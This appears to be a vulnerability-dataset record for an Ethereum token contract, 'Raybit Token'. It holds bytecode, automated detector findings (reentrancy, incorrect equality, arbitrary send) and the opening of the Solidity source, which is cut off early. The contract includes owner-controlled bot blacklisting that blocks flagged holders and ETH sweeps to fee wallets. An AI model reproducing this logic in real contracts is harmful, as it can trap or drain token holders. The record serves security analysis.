0827565b5050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61091761180d565b73ffffffffffffffffffffffffffffffffffffffff16610935610c1f565b73ffffffffffffffffffffffffffffffffffffffff161461098b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161098290613009565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000479050600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015610a53573d6000803e3d6000fd5b5050565b610a5f61180d565b73ffffffffffffffffffffffffffffffffffffffff16610a7d610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610ad3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aca90613009565b60405180910390fd5b80600c60156101000a81548160ff02191690831515021790555050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000610b90600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612303565b9050919050565b610b9f61180d565b73ffffffffffffffffffffffffffffffffffffffff16610bbd610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610c13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0a90613009565b60405180910390fd5b610c1d6000612371565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610c5061180d565b73ffffffffffffffffffffffffffffffffffffffff16610c6e610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610cc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cbb90613009565b60405180910390fd5b600060046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60606040518060400160405280600381526020017f53534b0000000000000000000000000000000000000000000000000000000000815250905090565b6000610e4d610e4661180d565b8484611c59565b6001905092915050565b610e5f61180d565b73ffffffffffffffffffffffffffffffffffffffff16610e7d610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614610ed3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eca90613009565b60405180910390fd5b60005b815181101561104a57600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f2b57610f2a613029565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614158015610fbf5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f9e57610f9d613029565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561103757600160056000848481518110610fdd57610fdc613029565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061104290613087565b915050610ed6565b5050565b61105661180d565b73ffffffffffffffffffffffffffffffffffffffff16611074610c1f565b73ffffffffffffffffffffffffffffffffffffffff16146110ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110c190613009565b60405180910390fd5b600c60149054906101000a900460ff16611119576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111090613142565b60405180910390fd5b6001600c60176101000a81548160ff02191690831515021790555042600d81905550610708600d5461114b9190613162565b600e81905550565b61115b61180d565b73ffffffffffffffffffffffffffffffffffffffff16611179610c1f565b73ffffffffffffffffffffffffffffffffffffffff16146111cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c690613009565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b61123261180d565b73ffffffffffffffffffffffffffffffffffffffff16611250610c1f565b73ffffffffffffffffffffffffffffffffffffffff16146112a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129d90613009565b60405180910390fd5b600c60149054906101000a900460ff16156112f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ed9061322a565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561135a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061137e919061325f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113e5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611409919061325f565b6040518363ffffffff1660e01b815260040161142692919061328c565b6020604051808303816000875af1158015611445573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611469919061325f565b600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160046000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600c60146101000a81548160ff0219169083151502179055505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61165361180d565b73ffffffffffffffffffffffffffffffffffffffff16611671610c1f565b73ffffffffffffffffffffffffffffffffffffffff16146116c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116be90613009565b60405180910390fd5b600f81111561170b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161170290613327565b60405180910390fd5b8060088190555050565b61171d61180d565b73ffffffffffffffffffffffffffffffffffffffff1661173b610c1f565b73ffffffffffffffffffffffffffffffffffffffff1614611791576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161178890613009565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611801576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117f8906133b9565b60405180910390fd5b61180a81612371565b50565b600033905090565b6001600c60166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561184d5761184c612ca9565b5b60405190808252806020026020018201604052801561187b5781602001602082028036833780820191505090505b509050308160008151811061189357611892613029565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561193a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061195e919061325f565b8160018151811061197257611971613029565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506119d930600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a8e565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611a3d9594939291906134dc565b600060405180830381600087803b158015611a5757600080fd5b505af1158015611a6b573d6000803e3d6000fd5b50505050506000600c60166101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611afe576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611af5906135a8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b6e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b659061363a565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c4c9190612c36565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611cc9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cc0906136cc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d39576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d309061375e565b60405180910390fd5b60008111611d7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d73906137f0565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e09576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e00906138a8565b60405180910390fd5b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611eaf5750600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600c60159054906101000a900460ff16155b8015611f795750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611f785750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b5b1561228d57600c60179054906101000a900460ff16611fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc490613914565b60405180910390fd5b60019050600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561207c5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612089575042600e54115b156120eb57600061209984610b46565b90506120cb60646120bd600568056bc75e2d6310000061243590919063ffffffff16565b6124b090919063ffffffff16565b6120de82856124fa90919063ffffffff16565b11156120e957600080fd5b505b600d5442141561214e576001600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600061215930610b46565b9050600c60169054906101000a900460ff161580156121c65750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b1561228b57600081111561228a5761222560646122176005612209600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b46565b61243590919063ffffffff16565b6124b090919063ffffffff16565b8111156122805761227d606461226f6005612261600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610b46565b61243590919063ffffffff16565b6124b090919063ffffffff16565b90505b61228981611815565b5b5b505b61229984848484612558565b50505050565b60008383111582906122e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122de9190612ae7565b60405180910390fd5b50600083856122f69190613934565b9050809150509392505050565b600060065482111561234a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612341906139da565b60405180910390fd5b600061235461272f565b905061236981846124b090919063ffffffff16565b915050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008083141561244857600090506124aa565b6000828461245691906139fa565b90508284826124659190613a83565b146124a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161249c90613b26565b60405180910390fd5b809150505b92915050565b60006124f283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061275a565b905092915050565b60008082846125099190613162565b90508381101561254e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254590613b92565b60405180910390fd5b8091505092915050565b8080612567576125666127bd565b5b600080600080612576876127df565b93509350935093506125d084600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282e90919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061266583600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fa90919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506126b181612878565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161270e9190612c36565b60405180910390a3505050508061272857612727612935565b5b5050505050565b600080600061273c612940565b9150915061275381836124b090919063ffffffff16565b9250505090565b600080831182906127a1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127989190612ae7565b60405180910390fd5b50600083856127b09190613a83565b9050809150509392505050565b6000600854116127cc57600080fd5b6008546009819055506000600881905550565b6000806000806000806127f4876008546129a2565b91509150600061280261272f565b90506000806128128a85856129f5565b9150915081818686985098509850985050505050509193509193565b600061287083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061229f565b905092915050565b600061288261272f565b90506000612899828461243590919063ffffffff16565b90506128ed81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fa90919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600954600881905550565b60008060006006549050600068056bc75e2d63100000905061297668056bc75e2d631000006006546124b090919063ffffffff16565b8210156129955760065468056bc75e2d6310000093509350505061299e565b81819350935050505b9091565b60008060006129cd60646129bf868861243590919063ffffffff16565b6124b090919063ffffffff16565b905060006129e4828761282e90919063ffffffff16565b905080829350935050509250929050565b6000806000612a0d848761243590919063ffffffff16565b90506000612a24858761243590919063ffffffff16565b90506000612a3b828461282e90919063ffffffff16565b9050828194509450505050935093915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612a88578082015181840152602081019050612a6d565b83811115612a97576000848401525b50505050565b6000601f19601f8301169050919050565b6000612ab982612a4e565b612ac38185612a59565b9350612ad3818560208601612a6a565b612adc81612a9d565b840191505092915050565b60006020820190508181036000830152612b018184612aae565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612b4882612b1d565b9050919050565b612b5881612b3d565b8114612b6357600080fd5b50565b600081359050612b7581612b4f565b92915050565b6000819050919050565b612b8e81612b7b565b8114612b9957600080fd5b50565b600081359050612bab81612b85565b92915050565b60008060408385031215612bc857612bc7612b13565b5b6000612bd685828601612b66565b9250506020612be785828601612b9c565b9150509250929050565b60008115159050919050565b612c0681612bf1565b82525050565b6000602082019050612c216000830184612bfd565b92915050565b612c3081612b7b565b82525050565b6000602082019050612c4b6000830184612c27565b92915050565b600080600060608486031215612c6a57612c69612b13565b5b6000612c7886828701612b66565b9350506020612c8986828701612b66565b9250506040612c9a86828701612b9c565b9150509250925092565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612ce182612a9d565b810181811067ffffffffffffffff82111715612d0057612cff612ca9565b5b80604052505050565b6000612d13612b09565b9050612d1f8282612cd8565b919050565b600067ffffffffffffffff821115612d3f57612d3e612ca9565b5b602082029050602081019050919050565b600080fd5b6000612d68612d6384612d24565b612d09565b90508083825260208201905060208402830185811115612d8b57612d8a612d50565b5b835b81811015612db45780612da08882612b66565b845260208401935050602081019050612d8d565b5050509392505050565b600082601f830112612dd357612dd2612ca4565b5b8135612de3848260208601612d55565b91505092915050565b600060208284031215612e0257612e01612b13565b5b600082013567ffffffffffffffff811115612e2057612e1f612b18565b5b612e2c84828501612dbe565b91505092915050565b600060208284031215612e4b57612e4a612b13565b5b6000612e5984828501612b66565b91505092915050565b6000612e6d82612b1d565b9050919050565b612e7d81612e62565b8114612e8857600080fd5b50565b600081359050612e9a81612e74565b92915050565b600060208284031215612eb657612eb5612b13565b5b6000612ec484828501612e8b565b91505092915050565b612ed681612bf1565b8114612ee157600080fd5b50565b600081359050612ef381612ecd565b92915050565b600060208284031215612f0f57612f0e612b13565b5b6000612f1d84828501612ee4565b91505092915050565b612f2f81612b3d565b82525050565b6000602082019050612f4a6000830184612f26565b92915050565b60008060408385031215612f6757612f66612b13565b5b6000612f7585828601612b66565b9250506020612f8685828601612b66565b9150509250929050565b600060208284031215612fa657612fa5612b13565b5b6000612fb484828501612b9c565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612ff3602083612a59565b9150612ffe82612fbd565b602082019050919050565b6000602082019050818103600083015261302281612fe6565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061309282612b7b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156130c5576130c4613058565b5b600182019050919050565b7f436f6e7472616374206d75737420626520696e697469616c697a65642066697260008201527f7374000000000000000000000000000000000000000000000000000000000000602082015250565b600061312c602283612a59565b9150613137826130d0565b604082019050919050565b6000602082019050818103600083015261315b8161311f565b9050919050565b600061316d82612b7b565b915061317883612b7b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131ad576131ac613058565b5b828201905092915050565b7f436f6e74726163742068617320616c7265616479206265656e20696e6974696160008201527f6c697a6564000000000000000000000000000000000000000000000000000000602082015250565b6000613214602583612a59565b915061321f826131b8565b604082019050919050565b6000602082019050818103600083015261324381613207565b9050919050565b60008151905061325981612b4f565b92915050565b60006020828403121561327557613274612b13565b5b60006132838482850161324a565b91505092915050565b60006040820190506132a16000830185612f26565b6132ae6020830184612f26565b9392505050565b7f5465616d206665652063616e6e6f74206265206c6172676572207468616e203160008201527f3525000000000000000000000000000000000000000000000000000000000000602082015250565b6000613311602283612a59565b915061331c826132b5565b604082019050919050565b6000602082019050818103600083015261334081613304565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006133a3602683612a59565b91506133ae82613347565b604082019050919050565b600060208201905081810360008301526133d281613396565b9050919050565b6000819050919050565b6000819050919050565b60006134086134036133fe846133d9565b6133e3565b612b7b565b9050919050565b613418816133ed565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61345381612b3d565b82525050565b6000613465838361344a565b60208301905092915050565b6000602082019050919050565b60006134898261341e565b6134938185613429565b935061349e8361343a565b8060005b838110156134cf5781516134b68882613459565b97506134c183613471565b9250506001810190506134a2565b5085935050505092915050565b600060a0820190506134f16000830188612c27565b6134fe602083018761340f565b8181036040830152613510818661347e565b905061351f6060830185612f26565b61352c6080830184612c27565b9695505050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613592602483612a59565b915061359d82613536565b604082019050919050565b600060208201905081810360008301526135c181613585565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000613624602283612a59565b915061362f826135c8565b604082019050919050565b6000602082019050818103600083015261365381613617565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006136b6602583612a59565b91506136c18261365a565b604082019050919050565b600060208201905081810360008301526136e5816136a9565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000613748602383612a59565b9150613753826136ec565b604082019050919050565b600060208201905081810360008301526137778161373b565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006137da602983612a59565b91506137e58261377e565b604082019050919050565b60006020820190508181036000830152613809816137cd565b9050919050565b7f596f7572206164647265737320686173206265656e206d61726b65642061732060008201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160208201527f707065616c20796f757220636173652e00000000000000000000000000000000604082015250565b6000613892605083612a59565b915061389d82613810565b606082019050919050565b600060208201905081810360008301526138c181613885565b9050919050565b7f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e600082015250565b60006138fe602083612a59565b9150613909826138c8565b602082019050919050565b6000602082019050818103600083015261392d816138f1565b9050919050565b600061393f82612b7b565b915061394a83612b7b565b92508282101561395d5761395c613058565b5b828203905092915050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b60006139c4602a83612a59565b91506139cf82613968565b604082019050919050565b600060208201905081810360008301526139f3816139b7565b9050919050565b6000613a0582612b7b565b9150613a1083612b7b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613a4957613a48613058565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613a8e82612b7b565b9150613a9983612b7b565b925082613aa957613aa8613a54565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613b10602183612a59565b9150613b1b82613ab4565b604082019050919050565b60006020820190508181036000830152613b3f81613b03565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613b7c601b83612a59565b9150613b8782613b46565b602082019050919050565b60006020820190508181036000830152613bab81613b6f565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220477543eaf1339dcc24ca86f0b54ab983d46fc312d9167a080a09b88f15059a1164736f6c634300080a0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 4,169 |
0x25cc8f02ad1d1461248500b08102f65296f6802c
|
/**
*Submitted for verification at Etherscan.io on 2022-01-17
*/
/*
RAYBIT ($RAYBIT)
TAX IS 10%
RRRRRRRRRRRRRRRRR AAA YYYYYYY YYYYYYYBBBBBBBBBBBBBBBBB IIIIIIIIIITTTTTTTTTTTTTTTTTTTTTTT
R::::::::::::::::R A:::A Y:::::Y Y:::::YB::::::::::::::::B I::::::::IT:::::::::::::::::::::T
R::::::RRRRRR:::::R A:::::A Y:::::Y Y:::::YB::::::BBBBBB:::::B I::::::::IT:::::::::::::::::::::T
RR:::::R R:::::R A:::::::A Y::::::Y Y::::::YBB:::::B B:::::BII::::::IIT:::::TT:::::::TT:::::T
R::::R R:::::R A:::::::::A YYY:::::Y Y:::::YYY B::::B B:::::B I::::I TTTTTT T:::::T TTTTTT
R::::R R:::::R A:::::A:::::A Y:::::Y Y:::::Y B::::B B:::::B I::::I T:::::T
R::::RRRRRR:::::R A:::::A A:::::A Y:::::Y:::::Y B::::BBBBBB:::::B I::::I T:::::T
R:::::::::::::RR A:::::A A:::::A Y:::::::::Y B:::::::::::::BB I::::I T:::::T
R::::RRRRRR:::::R A:::::A A:::::A Y:::::::Y B::::BBBBBB:::::B I::::I T:::::T
R::::R R:::::R A:::::AAAAAAAAA:::::A Y:::::Y B::::B B:::::B I::::I T:::::T
R::::R R:::::R A:::::::::::::::::::::A Y:::::Y B::::B B:::::B I::::I T:::::T
R::::R R:::::R A:::::AAAAAAAAAAAAA:::::A Y:::::Y B::::B B:::::B I::::I T:::::T
RR:::::R R:::::R A:::::A A:::::A Y:::::Y BB:::::BBBBBB::::::BII::::::II TT:::::::TT
R::::::R R:::::R A:::::A A:::::A YYYY:::::YYYY B:::::::::::::::::B I::::::::I T:::::::::T
R::::::R R:::::R A:::::A A:::::A Y:::::::::::Y B::::::::::::::::B I::::::::I T:::::::::T
RRRRRRRR RRRRRRRAAAAAAA AAAAAAAYYYYYYYYYYYYY BBBBBBBBBBBBBBBBB IIIIIIIIII TTTTTTTTTTT
Telegram: https://t.me/RaybitETH
Twitter: https://twitter.com/RaybitETH
WebSite: https://raybit.space
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract RaybitToken is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 69000000000000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _maxTxAmount = _tTotal;
uint256 private openBlock;
uint256 private _swapTokensAtAmount = 100 * 10**9; // 100 tokens
uint256 private _maxWalletAmount = _tTotal;
uint256 private _feeAddr1;
uint256 private _feeAddr2;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Raybit Token";
string private constant _symbol = "RAYBIT";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_feeAddrWallet1 = addr1;
_feeAddrWallet2 = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet1] = true;
_isExcludedFromFee[_feeAddrWallet2] = true;
emit Transfer(
address(0),
_msgSender(),
_tTotal
);
}
function name() public pure returns (string memory) {
return _name;
}
